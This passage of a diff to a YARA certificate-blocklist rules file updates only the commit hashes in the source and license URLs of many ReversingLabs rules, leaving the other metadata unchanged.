 		score = 75
 		quality = 90
@@ -12606,8 +12659,8 @@ rule REVERSINGLABS_Cert_Blocklist_08622B9Dd9D78E67678Ecc21E026522E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8358-L8374"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8358-L8374"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "09507b09b035195b74434f56041588f67245fa097183228dffc612bb4901825b"
 		score = 75
 		quality = 90
@@ -12631,8 +12684,8 @@ rule REVERSINGLABS_Cert_Blocklist_E69A6De0074Ece38C2F30F0D4A808456 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8376-L8394"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8376-L8394"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "21d8641d2394120847044f0e6f4d868095a1e30c0b594a3d045877ab9b3808a1"
 		score = 75
 		quality = 90
@@ -12656,8 +12709,8 @@ rule REVERSINGLABS_Cert_Blocklist_8385684419Ab26A3F2640B1496E1Fe94 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8396-L8414"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8396-L8414"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "24f75badc335160a8053a4c7e8bbd8ddbd3266c3a18059a937d5989df97ae9d9"
 		score = 75
 		quality = 90
@@ -12681,8 +12734,8 @@ rule REVERSINGLABS_Cert_Blocklist_21E3Cae5B77C41528658Ada08509C392 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8416-L8432"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8416-L8432"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2e24ed0bd0bf3c36cae4bf106a2c17386bfb58b76372068be9745c2d501f30fc"
 		score = 75
 		quality = 90
@@ -12706,8 +12759,8 @@ rule REVERSINGLABS_Cert_Blocklist_2Abd2Eef14D480Dfea9Ca9Fdd823Cf03 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8434-L8450"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8434-L8450"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2dfc220c44d3dda28a253e5115ae9a087b6ddbf1a7ca1e9bcae5bd9ac5b2e1a0"
 		score = 75
 		quality = 90
@@ -12731,8 +12784,8 @@ rule REVERSINGLABS_Cert_Blocklist_86909B91F07F9316984D888D1E28Ab76 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8452-L8470"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8452-L8470"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "abd84492ed008125688a53e20d51780fa0b8c2309dcf751ff76a03d6f337beaa"
 		score = 75
 		quality = 90
@@ -12756,8 +12809,8 @@ rule REVERSINGLABS_Cert_Blocklist_D1B8F1Fe56381Befdb2E73Ffef2A4B28 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8472-L8490"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8472-L8490"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c118cb46914e7a6df8dd33dd14d5f9cf2692d98311503ec850cc66f02c20839e"
 		score = 75
 		quality = 90
@@ -12781,8 +12834,8 @@ rule REVERSINGLABS_Cert_Blocklist_D4Ef1Ab6Ab5D3Cb35E4Efb7984Def7A2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8492-L8510"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8492-L8510"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ecc2f6bfda1a0afd016f0a5183c0d1cdfe5d5e06c893a7d9a3d7cb7f9bc4bf16"
 		score = 75
 		quality = 90
@@ -12806,8 +12859,8 @@ rule REVERSINGLABS_Cert_Blocklist_066276Af2F2C7E246D3B1Cab1B4Aa42E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8512-L8528"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8512-L8528"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "30d4fa2cbc75d3a6258cdf0374159f25ea152c39784f8b7e9c461978df865dc0"
 		score = 75
 		quality = 90
@@ -12831,8 +12884,8 @@ rule REVERSINGLABS_Cert_Blocklist_65Cd323C2483668B90A44A711D2A6B98 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8530-L8546"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8530-L8546"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "653aff6f3913f1bf51e90e7a835dbb5441457175797cefdddd234a6c2c0f11ad"
 		score = 75
 		quality = 90
@@ -12856,8 +12909,8 @@ rule REVERSINGLABS_Cert_Blocklist_5A17D5De74Fd8F09Df596Df3123139Bb : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8548-L8564"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8548-L8564"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7ed62740fe191d961ad32b2a79463cc9cbce557ea757e413860f7b4974904c03"
 		score = 75
 		quality = 90
@@ -12881,8 +12934,8 @@ rule REVERSINGLABS_Cert_Blocklist_15Da61D7E1A631803431561674Fb9B90 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8566-L8582"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8566-L8582"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "75d2c3b47fe9c863812f2c98fc565af9050b909a03528e2ea4a96542a3ec0c0d"
 		score = 75
 		quality = 90
@@ -12906,8 +12959,8 @@ rule REVERSINGLABS_Cert_Blocklist_7Ab21306B11Ff280A93Fc445876988Ab : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8584-L8600"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8584-L8600"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0cda954aa807336a6737716d0fa43d696376c240ab7be9d8477baf8800604bf1"
 		score = 75
 		quality = 90
@@ -12931,8 +12984,8 @@ rule REVERSINGLABS_Cert_Blocklist_634E16E38F12E9A71Aca08E4C6B2Dbb9 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8602-L8618"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8602-L8618"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "08950f276e5cf3fe4b5f7421ba671dfd72585aac3bbed7868fdb0e5aa90ec10e"
 		score = 75
 		quality = 90
@@ -12956,8 +13009,8 @@ rule REVERSINGLABS_Cert_Blocklist_289051A83F350A2C600187C99B6C0A73 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8620-L8636"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8620-L8636"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "cd5d6f95f0cfdbf8d37ea78d061ce00512b6cb7c899152b1640673494d539dd1"
 		score = 75
 		quality = 90
@@ -12981,8 +13034,8 @@ rule REVERSINGLABS_Cert_Blocklist_818631110B5D14331Dac7E6Ad998B902 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8638-L8656"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8638-L8656"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "5e0de3848adf933632c2eb8cf5ead61d6470237386ba8b48d57a278d99dba324"
 		score = 75
 		quality = 90
@@ -13006,8 +13059,8 @@ rule REVERSINGLABS_Cert_Blocklist_277Cd16De5D61B9398B645Afe41C09C7 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8658-L8674"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8658-L8674"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "696467d699dec060b205f36f53dbe157b241823757d72798b35235d6530fd193"
 		score = 75
 		quality = 90
@@ -13031,8 +13084,8 @@ rule REVERSINGLABS_Cert_Blocklist_D0Eda76C13D30C97015708790Bb94214 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8676-L8694"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8676-L8694"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2112ebfb7c9ebbbccb20cefcd23bb49142da770feb16ee8eef5eb27646226785"
 		score = 75
 		quality = 90
@@ -13056,8 +13109,8 @@ rule REVERSINGLABS_Cert_Blocklist_6333Ed618F88A05B4D82Ad7Bf66Cb0Fa : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8696-L8712"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8696-L8712"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b088ac4b74a8cf3dddb67c8de2b7c3c5f537287a0454c0030c0eb4069c465c7d"
 		score = 75
 		quality = 90
@@ -13081,8 +13134,8 @@ rule REVERSINGLABS_Cert_Blocklist_3B777165B125Bccc181D0Bac3F5B55B3 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8714-L8730"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8714-L8730"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "80aff3d6f45f5847d5d39b170b9d0e70168d02569ca6d86a2c39150399d290fc"
 		score = 75
 		quality = 90
@@ -13106,8 +13159,8 @@ rule REVERSINGLABS_Cert_Blocklist_5B37Ac3479283B6F9D75Ddf0F8742D06 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8732-L8748"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8732-L8748"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b7abd389ac31cd970e6611c7c303714fdd658f45d4857ad524f5e8368edbb875"
 		score = 75
 		quality = 90
@@ -13131,8 +13184,8 @@ rule REVERSINGLABS_Cert_Blocklist_3112C69D460C781Fd649C71E61Bfec82 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8750-L8766"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8750-L8766"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ed31b0a24d18a451163867f0f49df12af3ca0768f250ac8ce66d41405393130d"
 		score = 75
 		quality = 90
@@ -13156,8 +13209,8 @@ rule REVERSINGLABS_Cert_Blocklist_0A5B4F67Ad8B22Afc2Debe6Ce5F8F679 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8768-L8784"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8768-L8784"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "938efb7ee19970484aded5cd46b2ff730f8882706bec3f062bdebde3cc9a4799"
 		score = 75
 		quality = 90
@@ -13181,8 +13234,8 @@ rule REVERSINGLABS_Cert_Blocklist_Df45B36C9D0Bd248C3F9494E7Ca822 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8786-L8804"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8786-L8804"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "9c03522376b0d807cd36a0641e474d770bc3b4f8221f26d232878d2d320d072b"
 		score = 75
 		quality = 90
@@ -13206,8 +13259,8 @@ rule REVERSINGLABS_Cert_Blocklist_1Ae3C4Eccecda2127D43Be390A850Dda : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8806-L8822"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8806-L8822"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8a2ff4f7a5ac996127778b1670e79291bddcb5dee6e7da2b540fd254537ee27e"
 		score = 75
 		quality = 90
@@ -13231,8 +13284,8 @@ rule REVERSINGLABS_Cert_Blocklist_2E36360538624C9B1Afd78A2Fb756028 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8824-L8840"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8824-L8840"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "9cbb50c7d383048fd506506fa9ee8bf7c6d82feaf21bcde4008ab99b82e234a7"
 		score = 75
 		quality = 90
@@ -13256,8 +13309,8 @@ rule REVERSINGLABS_Cert_Blocklist_Addb899F8229Fd53E6435E08Bbd3A733 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8842-L8860"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8842-L8860"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ecb8e31b8c56b92cef601618e0adc2f6d88999318805b92389693aa9e8050d18"
 		score = 75
 		quality = 90
@@ -13281,8 +13334,8 @@ rule REVERSINGLABS_Cert_Blocklist_C1A1Db95D7Bf80290Aa6E82D8F8F996A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8862-L8880"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8862-L8880"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "84c7c0e53facadcdfd752e9cf3811fbfd6aac4bef4109acf430a67b6dcd37bfc"
 		score = 75
 		quality = 90
@@ -13306,8 +13359,8 @@ rule REVERSINGLABS_Cert_Blocklist_C667Ffe3A5B0A5Ae7Cf3A9E41682E91B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8882-L8900"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L8882-L8900"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "be2cd688f2d7c458ee764bd7a7250e0116328702db5585b444d631f05cdc701b"
 		score = 75
 		quality = 90
@@ -13331,8 +13384,8 @@ rule REVERSINGLABS_Cert_Blocklist_E0A83917660D05Cf476374659D3C7B85 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L8902-L8920"
